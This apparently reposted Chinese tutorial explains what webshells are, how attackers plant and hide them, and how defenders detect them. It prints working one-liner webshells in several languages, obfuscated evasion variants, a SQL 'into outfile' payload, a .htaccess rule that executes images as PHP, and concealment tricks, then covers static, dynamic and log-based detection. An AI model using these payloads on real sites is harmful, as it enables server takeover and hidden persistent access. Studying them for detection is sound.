1. 程式人生 > 其它 >webshell分析與查殺

webshell分析與查殺

什麼是webshell

webshell,簡稱網頁後門。簡單來說它是執行在web應用之上的遠端控制程式。

webshell其實就是一張網頁,由PHP、JSP、ASP、ASP.NET等這類web應用程式語言開發,但webshell並不具備常見網頁的功能。例如登入、註冊、資訊展示等功能,一般會具備檔案管理、埠掃描、提權、獲取系統資訊等功能。擁有較完整功能的webshell,我們一般稱為大馬。功能簡易的webshell稱為小馬。除此之外還存在一句話木馬、菜刀馬、脫庫馬等等的名詞,是對於webshell功能或者特性的簡稱。

webshell之PHP一句話木馬解讀

ASP:

<%eval request("x")%>

ASP.NET:

<%@ Page Language="Jscript"%><%eval(Request.Item["x"],"unsafe");%>

PHP:

<?php @eval($_POST["x"]);?>

JSP:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

webshell管理工具

中國蟻劍是一款開源的跨平臺網站管理工具,也是一款webshell管理工具,它主要面向於合法授權的滲透測試安全人員以及進行常規操作的網站管理員。中國蟻劍的核心程式碼模板均改自偉大的中國菜刀。

webshell分類

小馬:執行功能時,需要將所有程式碼傳遞到服務端,功能封裝在客戶端。

大馬:自身中封裝了許多功能,只需要傳遞引數,即可執行對應的功能,例如埠掃描、反彈shell。

webshell變形免殺

變形

<?php
    $x=$_GET['x'];@eval("$x;");
?>
<?php
    $_GET['a']($_GET['b']);
?>
<?php
    $a="ass"."ert";$a(${"_PO"."ST"}['x']);
?>

如何獲取webshell

利用網站的檔案操作漏洞將webshell寫入網站目錄中

SQL注入

利用條件:

當前mysql使用者擁有FILE許可權

網站未對單引號進行轉義

payload:
select `<?php eval($_POST['test'])?>` into outfile '/var/www/test.php';

上傳漏洞

利用條件:

檔案上傳操作如頭像、評論等,對使用者上傳檔案過濾不嚴格,上傳機制可被繞過,導致指令碼檔案的上傳

任意程式碼執行

利用條件

使用者傳入引數被伺服器指令碼以原始碼方式執行

可直接插入惡意程式碼或利用指令碼對應的檔案寫入操作寫入webshell

任意檔案包含漏洞

利用條件

網站動態包含配置檔案

包含圖片、日誌檔案等執行惡意程式碼

後臺功能

利用條件

獲取並進入網站後臺管理介面,具有對網站檔案寫入與修改、資料庫或檔案備份、檔案上傳等許可權

webshell的隱藏

檔案包含

伺服器內某訪問量小、對網站影響小指令碼檔案中加入include(‘/upload/xx.jpg’);包含所上傳的webshell檔案

命名:命名、存放位置具有誘惑性 : /admin/help.php

改變編碼格式

<?php@$_++;$__=(“#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>
#利用異或運算:<?php @$_POST[0]($_POST[1])?> xxx=eval($_POST[1]);

callback函式

<?php
function funfunc($str){}
echo preg_replace("/<title>(.+?)<\/title>/ies",'funfunc("\1")',
$_POST["cmd"]);
?>

cmd=<title>{${phpinfo()}}</tile>

修改已有指令碼程式碼

在網站訪問量小、不影響網站功能的指令碼檔案中加入一句話木馬等

.htaccess檔案

當伺服器開啟.htaccess檔案解析可在upload資料夾內建立.htaccess檔案寫入下面內容

AddType application/x-httpd-php .jpg
<Files demo.jpg>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
</Files>

webshell的檢測

webshell執行流程

hacker -> HTTP Protocol -> Web Server -> CGI
webshell為一個合法的http連線,在TCP/IP的應用層之下沒有任何特徵(誰知道呢)只能進行應用層檢測

檢測方式

靜態檢測

匹配檔案特徵碼、特徵值、危險函式eval等來查詢webshell,依據特徵碼弱強特徵,結合人工判斷,可減少漏報誤報概率,利用檔案系統的屬性判斷,無緣無故多出的nobody屬性檔案必定有問題(Apache是nobody啟動)

弱點: 漏報誤報率較高,無法查殺變種及0day型

動態監測

依據webshell檔案執行表現的特徵即動態特徵,如菜刀操作的特徵,webshell命令執行時必會建立bash或IIS User啟動cmd 由PID程序號定位webshell,http異常模型檢測,檢測若有有使用者訪問一個從未訪問過的檔案並得到200響應,很容易定位

webshell,修改核心,hook一些危險函式eval、asset,重新編譯php;

弱點:降低php效能及業務效能

日誌檢測

webshell訪問特徵
- 少量ip發起fangwen
- 總訪問次數少
- 該頁面屬於孤立頁面

干擾資料:

管理後臺等正常孤立頁面
掃描器行為